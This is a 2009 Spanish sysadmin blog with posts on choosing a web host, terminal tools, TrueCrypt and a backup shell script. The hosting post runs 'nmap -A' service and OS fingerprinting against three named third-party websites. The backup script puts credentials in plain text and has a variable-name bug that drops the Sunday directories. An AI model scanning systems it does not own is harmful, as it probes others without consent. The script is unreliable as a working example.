  • ¿Tienen acuerdo con Puntos Neutros?. Gran ventaja en relación a la calidad del servicio. Si tienen acuerdos con puntos neutros, "nuestros paquetes" no viajarán por toda la red, y serán "cacheados" en puntos de intercambio de redes.
  • ¿Cuantos servidores o cuál es su estructura DNS?. No sé bien cómo explicar este punto sin liarme.Casi mejor con un ejemplo. Hagamos una consulta con dig a as.com, y después otra a google.com. Como vemos, google.com, como era de esperar "tiene" más sevidores DNS que "almacenan" la BBDD con los registros A,MX...etc del dominio. Personalmente, me da más seguridad que otro dominio que sólo tiene dos, o como burradas que he visto últimamente, dominios que sólo disponen de un DNS; con lo cual, cae el server, y...

[root@patriciaconde]dig as.com
;; AUTHORITY SECTION:
as.com. 25890 IN NS dns1.ibercom.com.
as.com. 25890 IN NS dns2.ibercom.com.
[root@patriciaconde]dig google.com
;; AUTHORITY SECTION:
google.com. 284739 IN NS ns4.google.com.
google.com. 284739 IN NS ns3.google.com.
google.com. 284739 IN NS ns2.google.com.
google.com. 284739 IN NS ns1.google.com.



  • ¿Dónde se localiza el/los DataCenter/s? Haría un pequeño análisis y/o aproximación acerca la procedencia de los visitantes de la web. Por ejemplo, si la web está escrita en Portugués, lo más normal es que lo visitante procedan de Portugal o Brasil, pero claro, tratándose de Internet, ya se sabe. Personalmente me he topado con el "inconveniente" de terner un VPS en US cuando lo usuarios potenciales visitan el site dede Europa. En fin, la ignorancia tiene estas cosas. En Debian GNU/Linux tenemos el paquete geoip-bin, que no "dice" el pais al que pertenece la IP de nuestro servidor.

[root@patriciaconde]apt-get update && apt-get install geoip-bin
[root@patriciaconde]geiplookup permuy.org
GeoIP Country Edition: ES, Spain
[root@patriciaconde]geiplookup www.permuy.org
GeoIP Country Edition: US, United States

  • Latencia y rendimiento de red : Cómo de lejos está nuestro server/servers. Ping, traceroute, dig +trace,smokeping, incluso herramientas de monitorización "free" como mon.itor.us pueden ayudarnos a tomar decisiones técnicas finales acerca del proveedor de Hosting.
  • Sistema Operativo: Sin comentarios. GNU/Linux o FreeBSD en su defecto. Si no tiene acceso por SSH no me vale! Juas!
  • ¿ Son Geeks ?. Es algo que valoro, a veces en exceso. Rodearse de Unix/Linux Geeks tiene cosas positivas, por ejemplo, si aburres con tus conversaciones, siempre puedes hacer un apt-get update e instalar una versión nueva de la conversación....se me va la pinza. Retomando, si realmente son geeks y buenos, algo que deberían hacer es compilar su software. Por ejemplo, el fingerprint del webserver. A mucha gente no le dice nada, a mi , muchísimo. Quiere decir que se han preocupado por optimizar sus máquinas, y probablemente también dedicasen tiempo a elegir que software van a instalar. Pero, como casi todo en esta vida, mejor con un ejemplo. El señor Permuy, no se ha preocupado en compilar su Apache y ahora, en lugar de Debian GNU/Linux tiene que usar Ubuntu en su webserver por X motivos. El Sr.Kutus tiene su server detrás de un Firewall, probablemente IPCOP o alguna solución empotrada. Mientras que el Sr.Ferrolmoda.com aloja sus webs en un DinaHTTPD Server de Dinahosting. Veamos.

[root@patriciaconde]nmap -A www.comunidadeozulo.org -p 80
(...)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-1+lenny2 with Suhosin-Patch)
-------------------------------------------------------------
[root@patriciaconde]nmap -A www.kutus.es -p 80
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: firewall|telecom-misc|WAP|general purpose|server appliance
Running (JUST GUESSING) : IPCop Linux 2.4.X (89%), Avaya Linux 2.6.X (88%), FON Linux 2.4.X|2.6.X (87%), Linksys Linux 2.6.X (86%), Netgear Linux 2.6.X (86%), Linux 2.6.X (85%), Toshiba Linux 2.4.X (85%)
--------------------------------------------------------------
[root@patriciaconde]nmap -A www.ferrolmoda.com -p 80
Interesting ports on hl58.dinaserver.com (82.98.134.13):
PORT STATE SERVICE VERSION
80/tcp open http?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port80-TCP:V=4.62%I=7%D=4/23%Time=49F0A3A7%P=i686-pc-linux-gnu%r(GetReq
SF:uest,239,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2023\x20Apr\x202009\
SF:x2017:23:14\x20GMT\r\nServer:\x20DinaHTTPd\x20Server\r\nLast-Modified:\
SF:x20Mon,\x2024\x20May\x202004\x2016:25:22\x20GMT\r\nETag:\x20\"b475-147-


Espero que este post sea útil, seguro que existen un montón de errores y deficiencias técnicas, pero me he divertido mucho escribiéndolo.


miércoles, 22 de abril de 2009

Splitvt


Ayer, charlando con un amiguete, me entero que existe splitvt, una herramienta muy útil, que permite dividir el terminal en dos, ejecutando en cada "parte" un comando. Realmente me parce una gran herramienta, que desde ayer por la noche no faltará en mis utilidades para terminal. Para instalar splitvt, basta con un simple apt-get:

[root@pilarrubio]apt-get update && apt-get install splitvt

Imaginemos que queremos ejecutar dmesg en la parte superior y top, en la inferior:

[root@patriciaconde]splitvt -upper dmesg -lower top

lunes, 20 de abril de 2009

Truecrypt command line!



Color del texto
Hasta hace poco, cifraba los(mis) ficheros con TrueCrypt. Lo malo es la acción montar/desmontar lo hacía de forma manual. TrueCrypt está muy bien documentado, es multiplataforma, y para mí que uso el 70% del tiempo Debian GNU/Linux y un 30% MacOS X, es perfecto. Dejo un pequeño apunte para montar volúmenes cifrados con TC vía shell.

truecrypt --text --password=mipassword --non-interactive /media/lacie/cifrado /cifrado

Ahora con un script utilizando rsync, sincronizaré los directorios /etc /home/proyecto y /root.
Salud!

miércoles, 15 de abril de 2009

Mis Feeds

En el post anterior he olvidado mi fichero de feeds. [ Este es el fichero ].

watch

08:00 de la mañana. Entro en la oficina; saludo con un "Buenos días". Enciendo el PC(Debian GNU/Linux SID/Testing/No sé que 2.6.27.1). Lo "primero" que hago es bajar el correo.Lo "segundo" es revisar mis RSS. Desde hace un par de años más o menos tengo total dependencia de los feeds.Lo reconozco: leo RSS a diario; también reconozco que me envuelven en un bucle del que, a veces, sobre todo en casa, me cuesta insertar un "break". Un site realmente bueno, es CommandLineFU, con una frecuencia de actualización muy buena, y sobre todo, muy buenas aportaciones. Esta mañana me ha soprendido una en la que se hacía referencia al comando watch, el cual desconocía por completo. En la página del manual( man watch) encontraréis más info. Básicamente, sirve para ejecutar un programa periódicamente, y mostrar el resultado por pantalla.
Ejemplo: Monitorizar las conexiones tcp:

[root@localhost] watch -n 1 "netstat -tpanl | grep ESTABLISHED"

Para este tipo de cosas prefiero iptraf...


martes, 14 de abril de 2009

Sinde Pírate

lunes, 13 de abril de 2009

UTF-8, Apache2 y PHP5

Hace tiempo,un año más o menos, escribí un post en el que comentaba los pasos para habilitar la codificación UTF-8 para el webmail squirremail.

Un año después, me envían un fichero SQL con información para alimentar campos para la BBDD del proyecto en el que estoy trabajando actualmente. La codificación de esta tablas está en

martes, 7 de abril de 2009

Script Backup [ tar , md5 , cifs ]

Dejo un pequeño script para backups en un disco Western Digital de 1TB con Ethernet 1GB. Resumen:
  • De Lunes a Sabado realiza backup de los directorios definidos en $DESTINO.
  • Los Domingos añade los directorios definidos en $DIRECTORIO_ADICIONALES.
  • Mantiene los ficheros durante 14 días.Suficiente en este caso.
  • Opcion gzip comentada, haciendo pruebas me interesaba observar el funcionamiento del script.Se recomienda descomentar la linea.
  • Comprueba el montaje del directorio destino, en este ejemplo /usb/copias.
  • Detalles en el fichero log especificado en la variable $REPORTE.
  • Genera suma md5 del fichero y lo imprime en el log.
  • Envia por correo el resultado del backup.
No es nada del otro mundo, pero funciona. Las sugerencias son bienvenidas!

#!/bin/bash
#Backup Script Alberto Permuy Leal
#Version 0.0.1
#Licencia: GPLv2 o cualquiera de sus variantes
#
#
#
#
#Fecha: Abril 2009
#
#
#Definicion de variables
#
#Fichero Reporte Backup
REPORTE=/tmp/reporte-backup-$(date +%d-%m-%y).txt
#
#Variables Tiempo
FECHA=$(date +%d-%m-%y)
DIA_SEMANA=`echo $(date +%w)`
#
#Variables Host/Fichero
HOST=`/bin/hostname `
SISTEMA=`/bin/uname -sr `
#
#
#Variables Generales
DESTINO="/usb/copias"
DIRECTORIOS_BACKUP="/etc /root /var/lib/mysql"
DIRECTORIO_ADICIONALES="/var/log"
DESTINATARIO="user@dominio.com"
ASUNTO="InformeBackup"
#
#
#CABECERA
rm -rf $REPORTE
touch $REPORTE
echo "-----------------------------" > $REPORTE
echo "REPORTE BACKUP " >> $REPORTE
echo "-----------------------------" >> $REPORTE
echo "" >> $REPORTE
echo "Host:"$HOST >> $REPORTE
echo "Sistema:"$SISTEMA >> $REPORTE
echo "" >> $REPORTE
echo "Fecha Copia Seguridad :"$FECHA >> $REPORTE
echo "El destinatario del email es:"$DESTINATARIO >> $REPORTE
###############################################################
# #
#COMIENZO DEL SCRIPT #
# #
###############################################################
if [ -d /usb/copias ]; then
echo "Parece que el disco USB está montado"
else
echo "Montando disco USB"
mount.cifs //192.168.1.200/PROGRAMAS /usb -o username=user,password=pass,rw
echo "Fin montaje"
fi
#
#
case $DIA_SEMANA in
1)
NOMBRE_DIA="lunes"
;;
2)
NOMBRE_DIA="martes"
;;
3) NOMBRE_DIA="miercoles"
;;
4)
NOMBRE_DIA="jueves"
;;
5) NOMBRE_DIA="viernes"
;;
6) NOMBRE_DIA="sabado"
;;
0) NOMBRE_DIA="domingo"

esac

case $DIA_SEMANA in

[1-6])
echo "Hoy es :"$NOMBRE_DIA
echo "Backup iniciado a las: "`date |awk '{ print $4 }'` >> $REPORTE
rm -rf $DESTINO/$NOMBRE_DIA-old.tar
mv $DESTINO/$NOMBRE_DIA.tar $DESTINO/$NOMBRE_DIA-old.tar
tar cvf $DESTINO/$NOMBRE_DIA.tar $DIRECTORIOS_BACKUP
#gzip $DESTINO/$NOMBRE_DIA.tar
echo "El fichero ocupa :"`du -sh $DESTINO/$NOMBRE_DIA.tar|awk '{ print $1 }'` >> $REPORTE
echo "Se ha realizado backup de los directorios:"$DIRECTORIOS_BACKUP >> $REPORTE
echo "La suma MD5 del fichero es:"`md5sum $DESTINO/$NOMBRE_DIA.tar|awk '{ print $1 }'` >> $REPORTE
echo "Esta cifra puede ayudarle a comprobar coherencias en caso de restaurar la copia." >> $REPORTE
if [ -f $DESTINO/$NOMBRE_DIA-old.tar ]; then
echo "El fichero de la semana anterior existe.Parece que todo esta en orden." >> $REPORTE
else
echo "El fichero de la semana anterior no existe." >> $REPORTE
echo "Es probable que todavia no se haya cumplido el ciclo de rotaciones de backups." >> $REPORTE
echo "Si continua recibiendo este mensaje.Contacte con el Administrador." >> $REPORTE
fi
echo "Backup finalizado a las: "`date |awk '{ print $4 }'` >> $REPORTE

;;
0)
echo "Hoy es Domingo.Se han añadido directorios adicionales a la copia de seguridad." >> $REPORTE
echo "Son los siguientes :"$DIRECTORIOS_ADICIONALES >> $REPORTE
echo "Backup iniciado a las: "`date |awk '{ print $4 }'` >> $REPORTE
rm -rf $DESTINO/$NOMBRE_DIA-old.tar
sleep 2
mv $DESTINO/$NOMBRE_DIA.tar $DESTINO/$NOMBRE_DIA-old.tar
sleep 2
tar cvf $DESTINO/$NOMBRE_DIA.tar $DIRECTORIOS_BACKUP $DIRECTORIOS_ADICIONALES
#gzip $DESTINO/$NOMBRE_DIA.tar
echo "El fichero ocupa :"`du -sh $DESTINO/$NOMBRE_DIA.tar|awk '{ print $1 }'` >> $REPORTE
echo "Se ha realizado backup de los directorios:"$DIRECTORIOS_BACKUP >> $REPORTE
echo "La suma MD5 del fichero es:"`md5sum $DESTINO/$NOMBRE_DIA.tar|awk '{ print $1 }'` >> $REPORTE
echo "Esta cifra puede ayudarle a comprobar coherencias en caso de restaurar la copia." >> $REPORTE
if [ -f $DESTINO/$NOMBRE_DIA-old.tar ]; then
echo "El fichero de la semana anterior existe.Parece que todo esta en orden." >> $REPORTE
else
echo "El fichero de la semana anterior no existe." >> $REPORTE
echo "Es probable que todavia no se haya cumplido el ciclo de rotaciones de backups." >> $REPORTE
echo "Si continua leyendo este mensaje.Contacte con el Administrador." >> $REPORTE

fi
echo "Backup finalizado a las: "`date |awk '{ print $4 }'` >> $REPORTE

;;

esac
echo "-----------------------------" >> $REPORTE
echo "SysAdmin - Alberto Permuy Leal" >> $REPORTE
echo "Contact :" >> $REPORTE
echo "Email: email at dominio com" >> $REPORTE
echo "Mobile: +0034 666 666 66 " >> $REPORTE
echo "-----------------------------" >> $REPORTE
mail -s $ASUNTO $DESTINATARIO < $REPORTE